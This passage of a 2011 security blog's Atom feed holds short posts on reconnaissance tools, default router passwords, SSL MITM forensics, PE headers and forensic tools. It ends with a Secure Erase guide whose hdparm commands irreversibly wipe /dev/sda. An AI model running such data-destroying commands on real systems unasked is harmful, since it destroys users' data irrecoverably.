rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/04/rawcap-network-sniffer-for-windows.html' title='RawCap - Network Sniffer for Windows'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1753999951066304211</id><published>2011-04-18T14:51:00.002+08:00</published><updated>2011-04-20T14:53:25.539+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmdline'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='reconnaissance'/><title type='text'>FindDomains</title><content type='html'>FindDomains is a multithreaded search engine discovery tool.&lt;br /&gt;&lt;br /&gt;It retrieves domain names/web sites which are located on specified ip address/hostname. It can be very useful for penetration testers during reconnaissance domain names/web sites/virtual hosts/virtual IP.&lt;br /&gt;&lt;br /&gt;Main highlights:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Uses Bing search engine. Works with first 1000 records.&lt;/li&gt;&lt;li&gt;Multithreaded on crawling and DNS resolution.&lt;/li&gt;&lt;li&gt;Performs DNS resolution for extracted domains to eleminate cached/old records.&lt;/li&gt;&lt;li&gt;Has a console interface.&lt;/li&gt;&lt;li&gt;Works with Mono (under Linux), but running under Windows is more efficient.&lt;/li&gt;&lt;li&gt;Requires .NET framework 3.5&lt;/li&gt;&lt;/ul&gt;Find it at http://code.google.com/p/finddomains/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1753999951066304211?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1753999951066304211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1753999951066304211'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/04/finddomains.html' title='FindDomains'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5011739588695826729</id><published>2011-04-14T15:23:00.000+08:00</published><updated>2011-05-01T14:43:44.831+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defaultpassword'/><category scheme='http://www.blogger.com/atom/ns#' term='router'/><title type='text'>Default Router Passwords</title><content type='html'>Find or update a default router(and WiFi) password at&amp;nbsp;&lt;a href="http://www.routerpasswords.com/"&gt;http://www.routerpasswords.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5011739588695826729?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5011739588695826729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5011739588695826729'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/04/default-router-passwords.html' title='Default Router Passwords'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-4485968406631887438</id><published>2011-04-11T16:02:00.000+08:00</published><updated>2011-05-01T16:07:34.661+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><title type='text'>Open Computing Project</title><content type='html'>Under an initiative dubbed the &lt;a href="http://opencompute.org/"&gt;Open Compute Project&lt;/a&gt;, &lt;a href="https://www.facebook.com/Engineering?sk=notes"&gt;Facebook&lt;/a&gt; released designs for the technology powering its new data center in Prineville, Ore., which Facebook says is 38 percent more efficient and 24 percent cheaper to run thanks to its custom engineering.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-4485968406631887438?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4485968406631887438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4485968406631887438'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/open-computing-project.html' title='Open Computing Project'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1333869744016713576</id><published>2011-04-05T07:58:00.001+08:00</published><updated>2011-05-03T20:18:14.544+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mitm'/><category scheme='http://www.blogger.com/atom/ns#' term='SSL/TLS'/><title type='text'>Network Forensic Analysis of SSL MITM Attacks</title><content type='html'>SSL is not a panacea. If someone performs a man-in-the-middle (MITM) attack on HTTPS traffic (i.e. HTTP over SSL), he would be able to see all encrypted content in clear text format.&lt;br /&gt;&lt;br /&gt;There are some legitimate reasons to&amp;nbsp;eavesdrop the HTTPS traffic, such as your employer or your government.&lt;br /&gt;&lt;br /&gt;If you suspect your network traffic is been monitor,&amp;nbsp;how would you go about doing forensic analysis of captured network traffic from a suspected MITM attack?&lt;br /&gt;&lt;br /&gt;Here's the summary of the articles that shows you how:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Extract the X.509 certificates (with *.cer) from the captured SSL traffic with NetworkMiner.&lt;/li&gt;&lt;li&gt;Inspect the extracted files.&lt;/li&gt;&lt;li&gt;Verify the IP and DNS&lt;/li&gt;&lt;li&gt;Look for any self-signed cert, revoked cert and non-trusted CA signing cert.&lt;/li&gt;&lt;li&gt;Verify MD5 fingerprint of an SSL cert with OpenSSL&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;$ openssl x509 -inform DER -in mail.google.com.cer -noout -fingerprint -md5&lt;br /&gt;MD5 Fingerprint=52:12:A2:B1:27:E3:BB:CC:E5:F5:AA:BD:A1:A1:E6:F8&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;More references:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.netresec.com/?page=Blog&amp;amp;month=2011-03&amp;amp;post=Network-Forensic-Analysis-of-SSL-MITM-Attacks"&gt;Network Forensic Analysis of SSL MITM Attacks&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.netresec.com/?page=Blog&amp;amp;month=2011-01&amp;amp;post=Facebook-SSL-and-Network-Forensics"&gt;Facebook, SSL and Network Forensics&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.netresec.com/?page=Blog&amp;amp;month=2011-02&amp;amp;post=Webmail-Information-Leakage"&gt;Webmail Information Leakage&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1333869744016713576?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1333869744016713576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1333869744016713576'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/04/network-forensic-analysis-of-ssl-mitm.html' title='Network Forensic Analysis of SSL MITM Attacks'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-2230498596399996621</id><published>2011-03-22T16:31:00.017+08:00</published><updated>2011-05-01T16:44:34.366+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><category scheme='http://www.blogger.com/atom/ns#' term='W2K3'/><category scheme='http://www.blogger.com/atom/ns#' term='W2K'/><title type='text'>Windows PE Header</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Understanding Windows PE Header is essential to perform Reverse Engineering Malware.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Each executable file has a COFF (Common Object File Format), which is used from the OS loader to run the program. Windows Portable Executable (PE) is one of the COFF available in Windows Operating System, while the Executable Linking File (ELF) is the main Linux COFF.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Microsoft migrated to the PE format with the introduction of the Windows NT 3.1 operating system. PE/COFF headers still include an MS-DOS executable program, which is by default a stub that displays the simple message "This program cannot be run in DOS mode" (or similar). PE also continues to serve the changing Windows platform. Some extensions include the .NET PE format (see below), a 64-bit version called PE32+ (sometimes PE+), and a specification for Windows CE.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;MZ are the first 2 bytes you will see in any PE file opened in a hex editor.&amp;nbsp;The DOS header occupies the first 64 bytes of the file - ie the first 4 rows seen in the hexeditor in the picture below.&amp;nbsp;The last DWORD before the DOS stub begins contains 00h 01h 00h 00h, which is the offset where the PE header begins.&amp;nbsp;The DOS stub is the piece of software that runs if the executable is run from DOS environment (for example DOS shell). For retro-compatibility it often executes a printf("This program must be run under Win32");.&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;The PE header begins with its signature 50h, 45h, 00h, 00h (the letters "PE" followed by two terminating zeroes).&amp;nbsp;If in the Signature field of the PE header, you find an NE signature here rather than a PE, you're working with a 16-bit Windows New Executable file. Likewise, an LE in the signature field would indicate a Windows 3.x virtual device driver (VxD). An LX here would be the mark of a file for OS/2 2.0. FileHeader is the next 20 bytes of the PE file and contains info about the physical layout &amp;amp; properties of the file e.g. number of sections. OptionalHeader is always present and forms the next 224 bytes. It contains info about the logical layout inside the PE file e.g. AddressOfEntryPoint. Its size is given by a member of FileHeader. The structures of these members are also defined in windows.inc.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Not all these section must be used, but you need to modify the NumberOfSections to add or delete sections from a PE file. The best way to analyze those section is by using PEExplorer or PEID.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;EntryPoint is The Relative Virtual Addresses (RVA) of the first instruction that will be executed when the PE loader is ready to run the PE file. If you want to divert the flow of execution right from the start, you need to change the value in this field to a new RVA and the instruction at the new RVA will be executed first. Executable packers usually redirect this value to their decompression stub, after which execution jumps back to the original entry point of the app the OEP. Of further note is the Starforce protection in which the CODE section is not present in the file on disk but is written into virtual memory on execution.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;ImageBase is the preferred load address for the PE file. For example, if the value in this field is 400000h, the PE loader will try to load the file into the virtual address space starting at 400000h. The word "preferred" means that the PE loader may not load the file at that address if some other module already occupied that address range. In 99% of cases it is 400000h.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;SectionAlignment is the granularity of the alignment of the sections in memory. For example, if the value in this field is 4096 (1000h), each section must start at multiples of 4096 bytes. If the first section is at 401000h and its size is 10 bytes, the next section must be at 402000h even if the address space between 401000h and 402000h will be mostly unused.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;FileAlignment is the granularity of the alignment of the sections in the file. For example, if the value in this field is 512 (200h), each section must start at multiples of 512 bytes. If the first section is at file offset 200h and the size is 10 bytes, the next section must be located at file offset 400h: the space between file offsets 522 and 1024 is unused/undefined.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;SizeOfImage is the overall size of the PE image in memory. It's the sum of all headers and sections aligned to SectionAlignment.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;SizeOfHeaders is the size of all headers + section table. In short, this value is equal to the file size minus the combined size of all sections in the file. You can also use this value as the file offset of the first section in the PE file.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;DataDirectory It is the final 128 bytes of OptionalHeader, which in turn is the final member of the PE header IMAGE_NT_HEADERS. DataDirectory is an array of 16 IMAGE_DATA_DIRECTORY structures, 8 bytes apiece, each relating to an important data structure in the PE file. Each array refers to a predefined item, such as the import table. The structure has 2 members which contain the location and size of the data structure in question: VirtualAddress is the relative virtual address (RVA) of the data structure , and isize contains the size in bytes of the data structure.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-bottom: 0.5em; margin-left: auto; margin-right: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;img height="303" src="http://3.bp.blogspot.com/_gK7b9huwiwY/TPjEvoYC6gI/AAAAAAAAKhI/5dhfPx-toZQ/s400/PE5.png" style="margin-left: auto; margin-right: auto;" width="400" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="font-size: 13px; padding-top: 4px; text-align: center;"&gt;Windows PE Header&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;References:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://marcoramilli.blogspot.com/2010/12/windows-pe-header.html"&gt;http://marcoramilli.blogspot.com/2010/12/windows-pe-header.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;http://www.osdever.net/documents/PECOFF.pdf&lt;/li&gt;&lt;li&gt;http://www.skyfree.org/linux/references/coff.pdf&lt;/li&gt;&lt;li&gt;http://www.woodmann.com/RCE-CD-SITES/Library/M_Pietrek_Book/PietrekBook.pdf&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-2230498596399996621?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2230498596399996621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2230498596399996621'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/03/windows-pe-header.html' title='Windows PE Header'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_gK7b9huwiwY/TPjEvoYC6gI/AAAAAAAAKhI/5dhfPx-toZQ/s72-c/PE5.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6926865869835611527</id><published>2011-03-18T11:29:00.001+08:00</published><updated>2011-03-18T11:30:07.687+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='YouTube'/><title type='text'>Download YouTube video</title><content type='html'>Here's my favorite way to download any YouTube video that I like, such as music video.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Use Google Chrome browser (or FireFox).&amp;nbsp;&lt;/li&gt;&lt;li&gt;Install the userscirpt, "YouTube Video Download", at&amp;nbsp;&lt;a href="http://userscripts.org/scripts/show/62634"&gt;http://userscripts.org/scripts/show/62634&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Now, dig from your bookmark for your favorite YouTube video, and you should see the "Download" button below. Enjoy!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://lh6.googleusercontent.com/-P_pqLizTfng/TXxSqChtUzI/AAAAAAAAAKc/lHAwYK3vy1w/s500/ytd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="237" src="http://lh6.googleusercontent.com/-P_pqLizTfng/TXxSqChtUzI/AAAAAAAAAKc/lHAwYK3vy1w/s400/ytd.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6926865869835611527?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6926865869835611527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6926865869835611527'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/03/download-youtube-video.html' title='Download YouTube video'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.googleusercontent.com/-P_pqLizTfng/TXxSqChtUzI/AAAAAAAAAKc/lHAwYK3vy1w/s72-c/ytd.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6216034859737757781</id><published>2011-03-15T14:38:00.001+08:00</published><updated>2011-03-15T14:56:00.397+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='msie'/><title type='text'>Internet Explorer 9 is coming to town</title><content type='html'>Internet Explorer 9 is available for &lt;a href="http://www.beautyoftheweb.com/#/download"&gt;download&lt;/a&gt; now. Just wondering why installing a IE9 required me to restart my computer?&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh5.googleusercontent.com/-cg6MiQMZ6oE/TX8JRFmlxJI/AAAAAAAAIX4/V0TIo2dhcrk/s1600/ie9restart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh5.googleusercontent.com/-cg6MiQMZ6oE/TX8JRFmlxJI/AAAAAAAAIX4/V0TIo2dhcrk/s1600/ie9restart.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;This is what I get after I restart my PC.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh5.googleusercontent.com/-cpzI2F1Vr-g/TX8NT85mP1I/AAAAAAAAIX8/raRFiLIM6dc/s1600/ie9fails.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh5.googleusercontent.com/-cpzI2F1Vr-g/TX8NT85mP1I/AAAAAAAAIX8/raRFiLIM6dc/s1600/ie9fails.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;:-(&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6216034859737757781?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6216034859737757781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6216034859737757781'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/03/internet-explorer-9-is-coming-to-town.html' title='Internet Explorer 9 is coming to town'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh5.googleusercontent.com/-cg6MiQMZ6oE/TX8JRFmlxJI/AAAAAAAAIX4/V0TIo2dhcrk/s72-c/ie9restart.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1696641348857816056</id><published>2011-03-07T13:28:00.000+08:00</published><updated>2011-03-07T13:28:50.804+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><category scheme='http://www.blogger.com/atom/ns#' term='forensic'/><title type='text'>Free Computer Forensic Tools</title><content type='html'>This is a handy list for forensic and IR work. Any update of the list will be announced on twitter.com/jonathankrause&lt;br /&gt;&lt;br /&gt;Currently the list is&amp;nbsp;divided into the following categories:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Disk Tools&lt;/li&gt;&lt;li&gt;Email Analysis&lt;/li&gt;&lt;li&gt;General&lt;/li&gt;&lt;li&gt;File &amp;amp; Data Analysis&lt;/li&gt;&lt;li&gt;Data Analysis Suite&lt;/li&gt;&lt;li&gt;File Viewers&lt;/li&gt;&lt;li&gt;Internet History Analysis&lt;/li&gt;&lt;li&gt;Registry Analysis&lt;/li&gt;&lt;li&gt;Web Application Analysis&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;The full list can be obtains at&amp;nbsp;&lt;a href="http://forensiccontrol.com/fcresources.php"&gt;http://forensiccontrol.com/fcresources.php&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1696641348857816056?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1696641348857816056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1696641348857816056'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/03/free-computer-forensic-tools.html' title='Free Computer Forensic Tools'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3489258113739078849</id><published>2011-03-07T12:35:00.000+08:00</published><updated>2011-03-07T12:35:15.115+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><title type='text'>Introduction to Java Examination</title><content type='html'>There is an article posted by Corey Harrell, &lt;a href="http://journeyintoir.blogspot.com/2011/02/almost-cooked-up-some-java.html"&gt;(Almost) Cooked Up Some Java&lt;/a&gt;. It introduces the steps he took to examine the java. This article includes:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Understand the Java cache folder.&lt;/li&gt;&lt;li&gt;Examine the IDX file.&lt;/li&gt;&lt;li&gt;Examine the JAR file.&lt;/li&gt;&lt;li&gt;Extract Java source from the JAR file.&lt;/li&gt;&lt;li&gt;Examine the Java source code.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3489258113739078849?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3489258113739078849'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3489258113739078849'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/03/introduction-to-java-examination.html' title='Introduction to Java Examination'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7939824993974140408</id><published>2011-03-04T17:00:00.000+08:00</published><updated>2011-03-04T17:00:34.091+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Arduino'/><title type='text'>Arduino Tutorial</title><content type='html'>OK, I admit this. I'm only manage to complete up to "Lesson 2". But there are all together 7 lessons in this great tutorial at&amp;nbsp;&lt;a href="http://www.ladyada.net/learn/arduino/index.html"&gt;http://www.ladyada.net/learn/arduino/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And there more more other stuffs there for any beginner who wish to learn Arduino or electronics.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7939824993974140408?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7939824993974140408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7939824993974140408'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/03/arduino-tutorial.html' title='Arduino Tutorial'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-8643037076555786821</id><published>2011-02-23T17:14:00.001+08:00</published><updated>2011-02-23T17:14:56.057+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensic'/><title type='text'>Secure Erase</title><content type='html'>This summarize the article from Craig Wright. He is a Director with Information Defense in Australia.&lt;br /&gt;&lt;br /&gt;In the article, &lt;a href="http://computer-forensics.sans.org/blog/2011/01/25/digital-forensics-erasing-drives-quick-easy"&gt;Erasing drives should be quick and easy&lt;/a&gt;, he shows us a way to perform secure erase. Also he stated a few FUD on data recovering like:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;X-Ray machines and scanners will erase a drive;&lt;/li&gt;&lt;li&gt;&lt;/li&gt;&lt;li&gt;SEM or AFM (electron microscopy will do) could be used to recover data;&lt;/li&gt;&lt;li&gt;Government or NSA can read your wiped drives;&lt;/li&gt;&lt;/ul&gt;The simplest manner to wipe hard disk is using the the firmware Secure Erase command on an ATA, SATA, PATA, etc drives. A full erase using SE takes 30 min to 1 hour to complete.&amp;nbsp;Basically it is quick. It is non-recoverable. It saves all the BS. It removes the need for the FUD that still surrounds us.&lt;br /&gt;&lt;br /&gt;Here's the steps to wipe a drive using hdparm utility:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Login as root.&lt;/li&gt;&lt;li&gt;Ensure the drive isn't security frozen (result shows "not frozen"):&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;hdparm -I /dev/sda&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Issue command by set user password, Security =Maximum (Master Password = Blank): &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;hdparm --user-master u --security-set-pass Eins /dev/sda&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Issue command to confirm the process with the the word "enabled" in the output: &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;hdparm -I /dev/sda&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Issue the AT SE command: &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;hdparm --user-master u --security-erase Eins /dev/sda&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Issue command to ensure output verification return "not enabled": &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;hdparm -I /dev/sda&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;b&gt;References:&lt;/b&gt;&lt;br 